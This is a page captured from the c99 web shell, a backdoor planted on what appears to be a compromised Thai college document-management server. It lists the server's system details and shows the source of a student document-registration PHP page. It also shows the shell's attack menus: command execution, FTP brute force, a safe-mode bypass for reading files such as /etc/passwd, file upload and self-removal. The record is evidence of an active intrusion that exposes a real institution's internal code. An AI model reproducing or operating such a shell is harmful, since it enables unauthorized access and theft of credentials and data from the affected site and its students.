!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/teacher/admin/   drwxr-xr-x
Free 50.89 GB of 127.8 GB (39.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     addRegisDocAllReg.php (16.26 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../link/functionshow.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"../class/clsReceiveSendType.php";
include_once 
"../class/clsDocType.php";
include_once 
"../class/clsDocSpeedLevel.php";
include_once 
"../class/clsDocSecreLevel.php";
include_once 
"../class/clsDocattatchesTmp.php";
include_once 
"funct.php";
include_once 
"../class/clsDocInbox.php";
include_once 
"../link/keyThai.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oPS = new person($oC);
$oDlc = new DocLineConfig($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oDlp2 = new docLinePosition($oC);
$oRSt = new receiveSendType($oC);
$oDt = new doctype($oC);
$oDt2 = new doctype($oC);
$oDsl = new DocSpeedLevel($oC);
$oDcl = new DocSecretLevel($oC);
$oDtmp = new DocattatchesTmp($oC);
$oDbx = new DocInbox($oC);

$MaxDocGroup=$oDP->SearchMaxDocGroup();
$InputThai=$oSys->SearchByInputThai();

if(
$DLCID && $one_position!="1"){ include_once "selectposition.php";
?>

<?
    $oDlc
->SearchByKey($DLCID); $oDlc->GetRecord(); 

    
$oDP->SearchByKey($oDlc->deptId); 
    
$oDP->GetRecord();
    if(
$RsID=="" && $oDP->deptIsCenter=="Y" && $oDP->receiveOut=="Y"){ 
        
$RsID=1;
        if(
$DtID==""){ $DtID=1; }
    }else if(
$RsID=="" && $oDP->deptIsCenter=="Y" && $oDP->sendOut=="Y"){ 
        
$RsID=2;
        if(
$DtID==""){ $DtID=1; }
    }else if(
$RsID=="" && $oDP->deptIsCenter=="N" && $oDP->sendIn=="Y" ){
        
$RsID=4;
        if(
$DtID==""){ $DtID=3; }
    }
    
?>
<html>
<head>
<script language="javascript" src="../source/calendarDateInput.js"></script>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<table  width="100%"  align="center">
<tr><td >
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="regisDoc.php">ลงทะเบียนใหม่/เสนอหนังสือ</a>
      <img src="../picture/ico3.gif" width="10" border="0" align="absmiddle"><a href="addRegisDoc.php?RsID=<? echo $RsID?>&DtID=<? echo $DtID?>">ลงทะเบียนหนังสือ</a>
      <img src="../picture/ico3.gif" width="10" border="0" align="absmiddle">ลงทะเบียนหนังสือรับรองเกี่ยวกับนักศึกษาแบบกลุ่ม
      </font>
    </font></legend>
<?php
                
if($c!="3" || $success=="1"){
                                if(
$c=="1") {
                                    echo 
'<script LANGUAGE="JavaScript"> alert("ไฟล์ที่อัพโหลดมีขนาดใหญ่เกินไป !!") </script>';
                                }
                                else if(
$c=="2") {
                                    echo 
'<script LANGUAGE="JavaScript"> alert("ไฟล์ที่อัพโหลดไม่ใช่ .csv !!") </script>';
                                }
?>
    <br>
    
        <form name="ff"  METHOD="POST"  enctype="multipart/form-data" action="processRegisterDoc.php">
      <table align="center" width="95%" >
      <tr>
            <td align="right">&nbsp;</td>
      </tr>
        <tr>
            <td width="68%" height="25" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_19"]; ?>"> 
              <font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="3"><strong> 
              &nbsp;ลงทะเบียนหนังสือ: </strong></font> <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="3"><strong><? echo $oRSt->SearchShowRsName($RsID); ?></strong></font> 
              &nbsp; <font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="3"><strong> 
              &nbsp;ชนิดหนังสือ: </strong></font> <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="3"><strong> 
              <? $oDt->SearchByKey($DtID);
                     
$oDt->GetRecord();
                      echo 
$oDt->DtName;
             
?>เกี่ยวกับนักศึกษาแบบกลุ่ม
              </strong></font></td>
</tr>
      </table>
        <table width="95%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#DADADA" style="border-collapse:collapse">
          <tr>
            <td>&nbsp;</td>
            <td>&nbsp;</td>
            <td align="right">&nbsp;</td>
          </tr>
          <tr >
            <td width="21%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong><? echo ShowNameDate2($DtID); ?></strong></td>
            <td width="0%" align="center"><strong>:</strong></td>
            <td>
              <? if($DocDate!="" && $DocDate!="0000-00-00"){ ?>
              <script>DateInput('DocDate', true, 'DD/MM/YYYY','<?php echo $DocDate;?>');</script>
              <?    }else{  ?>
              <script>DateInput('DocDate', true, 'DD/MM/YYYY','<?php echo getNowDateFw2();?>');</script>
              <? ?>
            </td>
          </tr>
          <? //if($DtID!=13){ ?>
          <tr >
            <td width="21%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>" >&nbsp;&nbsp;<strong><? echo ShowNameSubject($DtID); ?></strong></td>
            <td width="0%" align="center"><strong>:</strong></td>
            <td ><input name="DocSubject" type="text" style="" size="70" maxlength="255" value="<? if($DocSubject!=""){ echo  a2th($DocSubject);  }?>" onKeyPress="if(event.keyCode==39){  alert('ระบบไม่สามารถบันทึกตัวอักษรนี้ได้!!'); return false;}else{     event.keyCode=KeyfontThai(event.keyCode,'<? echo $InputThai?>'); return event.keyCode;  }"></td>
          </tr>
          <? //} ?>
          <? if($DtID==|| $DtID==||  $DtID==14 || $DtID==13){?>
          <tr >
            <td width="21%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong><? echo ShowNameFrom($DtID); ?></strong></td>
            <td width="0%" align="center"><strong>:</strong></td>
            <td ><input name="DocFrom" type="text" style="" size="70" maxlength="255" <?  if($RsID=="2"  || $DtID=="13"){  $checkNameFrom=1?>value="<? echo a2th($GLOBALS["COLLEGENAME2"]); ?>" disabled<?  }else{    if($DocFrom!=""){  ?> value="<? echo a2th($DocFrom); ?><? }  } ?> onKeyPress="if(event.keyCode==39){  alert('ระบบไม่สามารถบันทึกตัวอักษรนี้ได้!!'); return false;}else{     event.keyCode=KeyfontThai(event.keyCode,'<? echo $InputThai?>'); return event.keyCode;  }"> 
              <?  if($RsID=="2" || $DtID=="13"){ ?>
              <input name="DocFrom" type="hidden" value="<? echo a2th($GLOBALS["COLLEGENAME2"]); ?>">
              <? ?>
            </td>
          </tr>
          <? ?>
          <tr >
            <td width="21%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>หมายเหตุ</strong></td>
            <td width="0%" align="center"><strong>:</strong></td>
            <td><textarea name="DocShortDesc" cols="70" rows="4" onKeyPress="if(event.keyCode==39){  alert('ระบบไม่สามารถบันทึกตัวอักษรนี้ได้!!'); return false;}else{     event.keyCode=KeyfontThai(event.keyCode,'<? echo $InputThai?>'); return event.keyCode;  }"><? if($DocShortDesc!=""){ echo a2th($DocShortDesc);  } ?></textarea></td>
          </tr>
          <tr > 
            <td width="21%" height="24">&nbsp;&nbsp;</td>
            <td width="0%" align="center">&nbsp;</td>
            <? $oDt2->SearchByKey($DtID); $oDt2->GetRecord();  ?>
            <td ><input name="endDoc" type="checkbox" value="Y" <? if($oDt2->forRegis=="Y" || ($RsID=="2" && ($DtID=="1" || $DtID=="2"))){  echo "checked disabled";   }else{  if($endDoc=="Y"){ echo "checked"; } }?>
              &nbsp;<strong>ยุติหนังสือ</strong></td>
            <? if($oDt2->forRegis=="Y" || ($RsID=="2" && ($DtID=="1" || $DtID=="2"))){  ?>
            <input name="endDoc" type="hidden" value="Y">
            <? ?>
          </tr>
          <tr>
            <td colspan="3"><hr color="#000099"></hr>
            </td>
          </tr>
          <tr>
            <td colspan="3" height="50">&nbsp;<font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong> 
              นำเข้าข้อมูลนักศึกษาที่ได้รับการรับรอง<br>
              &nbsp;&nbsp;- เมื่อทำการลงทะเบียนแล้ว หนังสือทั้งหมดจะถูกเก็บอยู่ใน&nbsp;[รายการหนังสือที่ลงทะเบียนคุมแล้วทั้งหมด] </strong></font></td>
          </tr>
          
          <? if($DtID==13){?>
          <tr><td colspan="3" align="left">&nbsp;&nbsp;&nbsp;<strong>ตัวอย่างการกรอกแฟ้มข้อมูล</strong></td></tr>
          <tr><td colspan="3" align="center"><img src="../picture/importexcelreg.jpg"   border="0" ></td></tr>
          <tr >
            <td width="21%" height="30" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>ข้อมูลนักศึกษา</strong></td>
            <td width="0%" align="center"><strong>:</strong></td>
            <td > 
              <? if($success!="1"){  ?>
              <input type="file" name="uploadfile"> <input type="submit" name="send" value="อัพโหลด"  onClick="return showDoc2();"> 
              <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">&nbsp;*** 
              อัพโหลดแฟ้มข้อมูล (.csv)&nbsp;<br><a href="uploadfile/templetereg.csv" target="_top">[คลิกดาวน์โหลดตัวอย่างแฟ้ม (.csv)]</a></font> 
              <? }else{ ?>
              &nbsp;<img src="../picture/search2.jpg" alt="คลิกดูข้อมูลนักศึกษาที่ได้รับการรับรอง"  border="0" style="cursor:pointer;"  onClick = "viewps('<? echo $filename;?>')">&nbsp;คลิกดูข้อมูลนักศึกษาที่ได้รับการรับรองการจบการศึกษา&nbsp;<? echo a2th($countps); ?>&nbsp;รายการ 
              <? ?>
            </td>
          </tr>
          <? ?>
          <tr>
            <td>&nbsp;</td>
          </tr>
          <tr > 
            <td height="24" colspan="3" align="center"> <input type="submit" name="jj" value="ลงทะเบียน" onClick="return checkFormat('<? echo $countps?>');" <? if($success!="1"){  echo "disabled";  }  ?>
              <? if($success=="1"){ ?>
              <input type="button" name="cancel" value="ยกเลิก" onClick="location.href = 'addRegisDocAllReg.php?RsID=<? echo $RsID?>&DtID=<? echo $DtID?>'"> 
              <? ?>
              <input type="button" name="cancel" value="กลับหน้าหลัก" onClick="location.href = 'addRegisDoc.php?RsID=<? echo $RsID?>&DtID=<? echo $DtID?>'"> 
              <input name="RsID" type="hidden" value="<?php echo $RsID?>">
               <input name="DtID" type="hidden" value="<?php echo $DtID?>"> 
              <input name="DlcID" type="hidden" value="<?php echo $DLCID?>"> 
              <input name="personId" type="hidden" value="<?php echo $oDlc->personId?>"> 
              <input name="deptId" type="hidden" value="<?php echo $oDlc->deptId?>"> 
              <input name="DocGroup" type="hidden" value="<?php echo $MaxDocGroup?>"> 
              <input name="filename" type="hidden" value="<?php echo $filename?>"> 
              <input type="hidden" name="countps" value="<? echo $countps;?>">
              <input type="hidden" name="method"> </td>
          </tr>
          <tr>
            <td colspan="3">&nbsp;</td>
          </tr>
        </table>
      </form> 
    <?php
                
}else{
                    if(
$success!="1"){
                            echo 
'<script LANGUAGE="JavaScript"> alert("ได้รับไฟล์แล้ว ชื่อ '.$n.' ขนาด '.$s.' ไบต์")</script>';
?>
            <form name="gg" method="post" enctype="multipart/form-data" action="addRegisDocAllReg.php">
            <table width="680" border="0" cellspacing="1" cellpadding="1"  align="center">
            <tr>
            <td><strong><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">*** กรุณาตรวจสอบข้อมูลก่อนบันทึกข้อมูล 
              ***</font></strong></td>
          </tr>
             <tr bgcolor="#FFFFFF">
                    
            <td colspan="6"><b>ข้อมูลจากแฟ้ม <? echo $n?></b>&nbsp; 
              <input type="submit" name="send2" value="บันทึกข้อมูล" onClick="return showDoc3();">
                    <input type="hidden" name="method" value="addpersoninregis">
                    <input type="hidden" name="filename" value="<? echo $n;?>">
                    <input type="hidden" name="RsID" value="<? echo $RsID;?>">
                    <input type="hidden" name="DtID" value="<? echo $DtID;?>">
                    <input type="hidden" name="DocDate" value="<? echo $DocDate;?>">
                    <input type="hidden" name="DocSubject" value="<? echo $DocSubject;?>">
                    <input type="hidden" name="DocFrom" value="<? echo $DocFrom;?>">
                    <input type="hidden" name="DocShortDesc" value="<? echo $DocShortDesc;?>">
                    <input name="DocGroup" type="hidden" value="<?php echo $MaxDocGroup?>">
                    <input type="hidden" name="success" value="1">
                    <input name="Button" type="button"  value="ยกเลิก" onClick=" location.href = 'addRegisDocAllReg.php?RsID=<? echo $RsID?>&DtID=<? echo $DtID?>'">
                    </td>
                </tr>
            </table><br>    
            <table width="55%"  border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="silver">
          <tr align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_9"];?>"> 
            <td width="10%" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>ลำดับ</b></font></td>
            <td width="15%" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>รหัสนักศึกษา</b></font></td>
            <td width="30%" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>ชื่อ - นามสกุล</b></font></td>
          </tr>
          <?                       $UPath='uploadfile/'.$n;    
                                    
$fp fopen($UPath"r");
                                    
$i 0;
                                    
                                    while(!
feof($fp)) {
                                            
$mark=0;                        
                                            
$char fgets($fp);
                                            
$stdCode=""$prefixname=""$name=""$surname="";
                                            list(
$stdCode,$prefixname$name$surname) = split('[,]'$char); 
                                            if(
$stdCode!=""){
                                                if((
$i%2) == 0)
                                                          echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_5"]."\">"
                                                else
                                                          echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_11"]."\">"
            
?>
            <td  align="center"><? echo ($i+1); ?></td>
            <td align="center"><?  echo $stdCode;  ?></td>
            <td align="left">&nbsp;<?  echo $prefixname.$name.' '.$surname;  ?></td>
          </tr>
          <?                                $i++;          
                                              }
                                        }   
//end while
        
?>
        <input type="hidden" name="countps" value="<? echo $i;?>">
        <?
                    
if($i == 0) {?>
          <tr bgcolor="#FFFFFF"> 
            <td align="center" height="22" colspan="14"><font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2">** 
              ไม่ปรากฏข้อมูลนักศึกษาในแฟ้ม <? echo $n?> **</font></td>
          </tr>
          <?php ?>
        </table></form>
<? } } ?> 
</fieldset>  
        <table width="95%" border="0" align="center">
        <tr> 
          <td width="76" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>หมายเหตุ 
            : </strong>&nbsp;</font></td>
          <td width="618" align="left">
            <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">*** อัพโหลดแฟ้มข้อมูล (.csv) เพื่อนำเข้าข้อมูลนักศึกษาที่ได้รับการรับรอง</font></td>
        </tr>
        <tr> 
          <td width="76" align="left">&nbsp;</td>
          <td width="618" align="left">
            <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><img src="../picture/search2.jpg" border="0" >&nbsp;คลิกดูข้อมูลนักศึกษาที่ได้รับการรับรอง</font></td>
        </tr>
        </table>

</td>
</tr>
</table>
</body>
</html>
<? }else{ include_once "unselectposition.php"; } ?>
<script language="javascript">
function showDoc2(){
    if(document.ff.uploadfile.value==""){
        alert("กรุณากรอกแฟ้มข้อมูล !!");
        document.ff.uploadfile.focus();
        return false;
    }else{
                    var agree=confirm("คุณต้องการอัพโหลดแฟ้มข้อมูลใช่หรือไม่ ?");
                        if (agree){ document.ff.method.value="upload_filereg";  return true ;}else{return false ;}
    }
}
function showDoc3(){
                    var agree=confirm("คุณต้องการบันทึกข้อมูลนักศึกษาทั้งหมด\nเพื่อนำไปใช้ในการลงทะเบียนหนังสือรับรองใช่หรือไม่ ?");
                        if (agree){  return true ;}else{return false ;}
}
function checkFormat(p){
        if(document.ff.DocSubject.value==""){
            alert("กรุณากรอกเรื่อง !!");
            document.ff.DocSubject.focus();
            return false;
        }
        var a="คุณต้องการลงทะเบียนหนังสือรับรอง\nจำนวน "+p+" รายการแน่นอนใช่หรือไม่ ?";
        var agree=confirm(a);
        if (agree){
            document.ff.method.value="confirmRegisterDocAllreg";
            return true;
        }else{
            return false ;
        }
}
 function viewps(p){ 
             FileName = "viewPsTablereg.php?filename="+p;
            var w=400;  
            var h=500;
            strOption = "scrollbars=yes,left=400,top=100,width=" + w + ",height=" + h;
            window.open(FileName,"",strOption);
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0086 ]--